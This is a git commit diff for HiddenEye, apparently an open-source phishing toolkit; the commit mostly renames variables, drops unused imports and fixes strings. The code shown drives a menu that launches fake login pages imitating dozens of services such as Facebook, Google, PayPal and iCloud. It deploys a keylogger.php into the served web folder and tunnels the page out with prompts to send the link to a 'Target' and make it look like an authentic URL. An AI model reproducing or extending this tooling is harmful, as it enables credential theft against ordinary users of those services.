Just fixed random bugs.

This commit is contained in:
DarkMidus 2020-08-09 21:41:30 -05:00
parent 20ebbcc9c8
commit d9ae3796ae
6 changed files with 95 additions and 108 deletions

View File

@ -303,7 +303,7 @@ def start_localxpose(port):
print(global_localization.official_website_link)
print(global_localization.by_darksec)
print(global_localization.line_of_dots)
print(localization.lang_start_localxpose["localxpose_random_server"])
print(localization.lang_rand_localxpose["localxpose_random_server"])
run_command(
[
"External_Software/loclx",
@ -339,12 +339,8 @@ def start_localxpose(port):
def custom(port):
print("""
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)"""
print(global_localization.small_logo)
print("""\n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)"""
.format(default_palette[0], default_palette[2]))
lnk = input("\n{0}CUSTOM Subdomain>>> {1}".format(
default_palette[0], default_palette[2]))
@ -362,7 +358,7 @@ def start_localxpose(port):
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0}\n-------------------------------"""
{0}** BY:DARKSEC \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0}\n-------------------------------"""
.format(default_palette[0], default_palette[2]))
print(
"\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO Target-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}"

View File

@ -45,176 +45,176 @@ def start_main_menu():
print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu(
localization.lang_start_main_menu["facebook_operation_modes"])
customOption = input(global_localization.input_line)
start_phishing_page("Facebook", customOption)
custom_option = input(global_localization.input_line)
start_phishing_page("Facebook", custom_option)
elif option == "02":
module_loading_message("Google")
print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu(
localization.lang_start_main_menu["google_operation_modes"])
customOption = input(global_localization.input_line)
start_phishing_page("Google", customOption)
custom_option = input(global_localization.input_line)
start_phishing_page("Google", custom_option)
elif option == "03":
module_loading_message("LinkedIn")
customOption = ""
start_phishing_page("LinkedIn", customOption)
custom_option = ""
start_phishing_page("LinkedIn", custom_option)
elif option == "04":
module_loading_message("GitHub")
customOption = ""
start_phishing_page("GitHub", customOption)
custom_option = ""
start_phishing_page("GitHub", custom_option)
elif option == "05":
module_loading_message("StackOverflow")
customOption = ""
start_phishing_page("StackOverflow", customOption)
custom_option = ""
start_phishing_page("StackOverflow", custom_option)
elif option == "06":
module_loading_message("WordPress")
customOption = ""
start_phishing_page("WordPress", customOption)
custom_option = ""
start_phishing_page("WordPress", custom_option)
elif option == "07":
module_loading_message("Twitter")
customOption = ""
start_phishing_page("Twitter", customOption)
custom_option = ""
start_phishing_page("Twitter", custom_option)
elif option == "08":
module_loading_message("Instagram")
print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu(
localization.lang_start_main_menu["instagram_operation_modes"])
customOption = input(global_localization.input_line)
start_phishing_page("Instagram", customOption)
custom_option = input(global_localization.input_line)
start_phishing_page("Instagram", custom_option)
elif option == "09":
module_loading_message("Snapchat")
customOption = ""
start_phishing_page("Snapchat", customOption)
custom_option = ""
start_phishing_page("Snapchat", custom_option)
elif option == "10":
module_loading_message("Yahoo")
customOption = ""
start_phishing_page("Yahoo", customOption)
custom_option = ""
start_phishing_page("Yahoo", custom_option)
elif option == "11":
module_loading_message("Twitch")
customOption = ""
start_phishing_page("Twitch", customOption)
custom_option = ""
start_phishing_page("Twitch", custom_option)
elif option == "12":
module_loading_message("Microsoft")
customOption = ""
start_phishing_page("Microsoft", customOption)
custom_option = ""
start_phishing_page("Microsoft", custom_option)
elif option == "13":
module_loading_message("Steam")
customOption = ""
start_phishing_page("Steam", customOption)
custom_option = ""
start_phishing_page("Steam", custom_option)
elif option == "14":
module_loading_message("VK")
print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu(
localization.lang_start_main_menu["VK_operation_modes"])
customOption = input(global_localization.input_line)
start_phishing_page("VK", customOption)
custom_option = input(global_localization.input_line)
start_phishing_page("VK", custom_option)
elif option == "15":
module_loading_message("iCloud")
customOption = ""
start_phishing_page("iCloud", customOption)
custom_option = ""
start_phishing_page("iCloud", custom_option)
elif option == "16":
module_loading_message("GitLab")
customOption = ""
start_phishing_page("GitLab", customOption)
custom_option = ""
start_phishing_page("GitLab", custom_option)
elif option == "17":
module_loading_message("NetFlix")
customOption = ""
start_phishing_page("NetFlix", customOption)
custom_option = ""
start_phishing_page("NetFlix", custom_option)
elif option == "18":
module_loading_message("Origin")
customOption = ""
start_phishing_page("Origin", customOption)
custom_option = ""
start_phishing_page("Origin", custom_option)
elif option == "19":
module_loading_message("Pinterest")
customOption = ""
start_phishing_page("Pinterest", customOption)
custom_option = ""
start_phishing_page("Pinterest", custom_option)
elif option == "20":
module_loading_message("ProtonMail")
customOption = ""
start_phishing_page("ProtonMail", customOption)
custom_option = ""
start_phishing_page("ProtonMail", custom_option)
elif option == "21":
module_loading_message("Spotify")
customOption = ""
start_phishing_page("Spotify", customOption)
custom_option = ""
start_phishing_page("Spotify", custom_option)
elif option == "22":
module_loading_message("Quora")
customOption = ""
start_phishing_page("Quora", customOption)
custom_option = ""
start_phishing_page("Quora", custom_option)
elif option == "23":
module_loading_message("PornHub")
customOption = ""
start_phishing_page("PornHub", customOption)
custom_option = ""
start_phishing_page("PornHub", custom_option)
elif option == "24":
module_loading_message("Adobe")
customOption = ""
start_phishing_page("Adobe", customOption)
custom_option = ""
start_phishing_page("Adobe", custom_option)
elif option == "25":
module_loading_message("Badoo")
customOption = ""
start_phishing_page("Badoo", customOption)
custom_option = ""
start_phishing_page("Badoo", custom_option)
elif option == "26":
module_loading_message("CryptoCurrency")
customOption = ""
start_phishing_page("CryptoCurrency", customOption)
custom_option = ""
start_phishing_page("CryptoCurrency", custom_option)
elif option == "27":
module_loading_message("DevianArt")
customOption = ""
start_phishing_page("DevianArt", customOption)
custom_option = ""
start_phishing_page("DevianArt", custom_option)
elif option == "28":
module_loading_message("DropBox")
customOption = ""
start_phishing_page("DropBox", customOption)
custom_option = ""
start_phishing_page("DropBox", custom_option)
elif option == "29":
module_loading_message("eBay")
customOption = ""
start_phishing_page("eBay", customOption)
custom_option = ""
start_phishing_page("eBay", custom_option)
elif option == "30":
module_loading_message("MySpace")
customOption = ""
start_phishing_page("Myspace", customOption)
custom_option = ""
start_phishing_page("Myspace", custom_option)
elif option == "31":
module_loading_message("PayPal")
customOption = ""
start_phishing_page("PayPal", customOption)
custom_option = ""
start_phishing_page("PayPal", custom_option)
elif option == "32":
module_loading_message("Shopify")
customOption = ""
start_phishing_page("Shopify", customOption)
custom_option = ""
start_phishing_page("Shopify", custom_option)
elif option == "33":
module_loading_message("Verizon")
customOption = ""
start_phishing_page("Verizon", customOption)
custom_option = ""
start_phishing_page("Verizon", custom_option)
elif option == "34":
module_loading_message("Yandex")
customOption = ""
start_phishing_page("Yandex", customOption)
custom_option = ""
start_phishing_page("Yandex", custom_option)
elif option == "35":
module_loading_message("Reddit")
print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu(
localization.lang_start_main_menu["reddit_operation_modes"])
customOption = input(global_localization.input_line)
start_phishing_page("Reddit", customOption)
custom_option = input(global_localization.input_line)
start_phishing_page("Reddit", custom_option)
elif option == "36":
module_loading_message("Subitoit")
customOption = ""
start_phishing_page("Subitoit", customOption)
custom_option = ""
start_phishing_page("Subitoit", custom_option)
elif option == "37":
module_loading_message("PlayStation")
customOption = ""
start_phishing_page("PlayStation", customOption)
custom_option = ""
start_phishing_page("PlayStation", custom_option)
elif option == "38":
module_loading_message("Xbox")
customOption = ""
start_phishing_page("Xbox", customOption)
custom_option = ""
start_phishing_page("Xbox", custom_option)
elif option == "39":
module_loading_message("CUSTOM(1)")
customOption = ""
start_phishing_page("CUSTOM(1)", customOption)
custom_option = ""
start_phishing_page("CUSTOM(1)", custom_option)
elif option == "40":
module_loading_message("CUSTOM(2)")
customOption = ""
start_phishing_page("CUSTOM(2)", customOption)
custom_option = ""
start_phishing_page("CUSTOM(2)", custom_option)
"""PHISHING MODULES BELOW"""
elif option == "0A":
@ -223,8 +223,8 @@ def start_main_menu():
print_sorted_as_menu(
localization.
lang_start_main_menu["additional_module_location_operation_modes"])
customOption = input(global_localization.input_line)
start_phishing_page("LOCATION", customOption)
custom_option = input(global_localization.input_line)
start_phishing_page("LOCATION", custom_option)
else:
start_main_menu()
@ -241,7 +241,7 @@ def start_phishing_page(page, custom_option): # Phishing pages selection menu
copyfile("WebPages/keylogger.php", "Server/www/keylogger.php")
try:
remove("link.url")
except:
except FileNotFoundError:
pass
if custom_option == "1" and page == "Facebook":

View File

@ -14,13 +14,10 @@ from Defs.ImportManager.unsorted_will_be_replaced import copyfile
from Defs.ImportManager.unsorted_will_be_replaced import getuid
from Defs.ImportManager.unsorted_will_be_replaced import pathlib_Path
from Defs.ImportManager.unsorted_will_be_replaced import platform
from Defs.ImportManager.unsorted_will_be_replaced import regular_expression
from Defs.ImportManager.unsorted_will_be_replaced import requests
from Defs.ImportManager.unsorted_will_be_replaced import run_command
from Defs.ImportManager.unsorted_will_be_replaced import socket
from Defs.ImportManager.unsorted_will_be_replaced import stat
from Defs.ImportManager.unsorted_will_be_replaced import try_to_run_command
from Defs.ImportManager.unsorted_will_be_replaced import wait
default_palette = theme.default_palette
@ -33,7 +30,6 @@ def license_handler():
"""
eula = pathlib_Path("eula.txt")
if eula.exists():
eula = eula.open("r")
with open("eula.txt", "r") as f:
if "eula = True" in f.read():
print("Found your license agreement, proceeding...")
@ -53,8 +49,8 @@ def license_handler():
def exit_message(port=80): # Message when HiddenEye exit
"""Displays preconfigured message when HiddenEye execution ends or user tries to leave app.
Args:
port (int, optional): Will be used as port value if custom one isn't provided. Needed in case user decides to restart app again. Defaults to 80.
Args: port (int, optional): Will be used as port value if custom one isn't provided. Needed in case user decides
to restart app again. Defaults to 80.
Returns:
method: If no option is selected, exit message returns to self and gets shown again.
@ -95,9 +91,7 @@ def terms_of_service_message():
agreement = license_handler()
if not agreement:
print(localization.lang_terms_of_service_message["GPL_3.0"])
print(
localization.
lang_terms_of_service_message["great_power_great_responsibility"])
print(localization.lang_terms_of_service_message["great_power_great_responsibility"])
print(localization.
lang_terms_of_service_message["do_you_accept_license"])
print(localization.
@ -209,8 +203,8 @@ def log_writer(ctx): # Writing log
Args:
ctx ([type]): [description]
"""
logFile = open("log.txt", "w")
logFile.write(
log_file = open("log.txt", "w")
log_file.write(
ctx.replace(default_palette[0], "").replace(
default_palette[1], "").replace(default_palette[2], "").replace(
default_palette[3], "").replace(default_palette[4], "") + "\n")

View File

@ -111,7 +111,7 @@ lang_start_serveo = {
).format(default_palette[0], default_palette[2]),
}
lang_start_localxpose = {
lang_rand_localxpose = {
"localxpose_random_server":
_("\n{0}[ RANDOM LOCALXPOSE URL ]{1}! {0}\n-------------------------------"
).format(default_palette[0], default_palette[2])

View File

@ -71,10 +71,10 @@ lang_port_selector = {
_("\n{0}[ WEBSERVER PORT SELECTION ]{1}! {0}\n-------------------------------"
).format(default_palette[0], default_palette[2]),
"select_any_available_port":
_("\n {0}[{1}*{0}]Select Port [1-65535]:{1}").format(
_("\n {0}[{1}*{0}] Select Port [1-65535]:{1}").format(
default_palette[0], default_palette[4]),
"port_suggestion":
_("\n {0}[{1}*{0} We suggest using ports between [{1}1024{0}-{1}65535{0}] but you still able to choose any ports you want."
_("\n {0}[{1}*{0}] We suggest using ports between [{1}1024{0}-{1}65535{0}] but you still able to choose any ports you want."
).format(default_palette[0], default_palette[4]),
}

View File

@ -6,10 +6,7 @@
#
import multiprocessing
import ssl
import sys
from os import environ
from os import system
import Defs.ActionManager.main_runner as main_runner
import Defs.ActionManager.Server.server_runner as server_runner
import Defs.ActionManager.simple_informant as simple_informant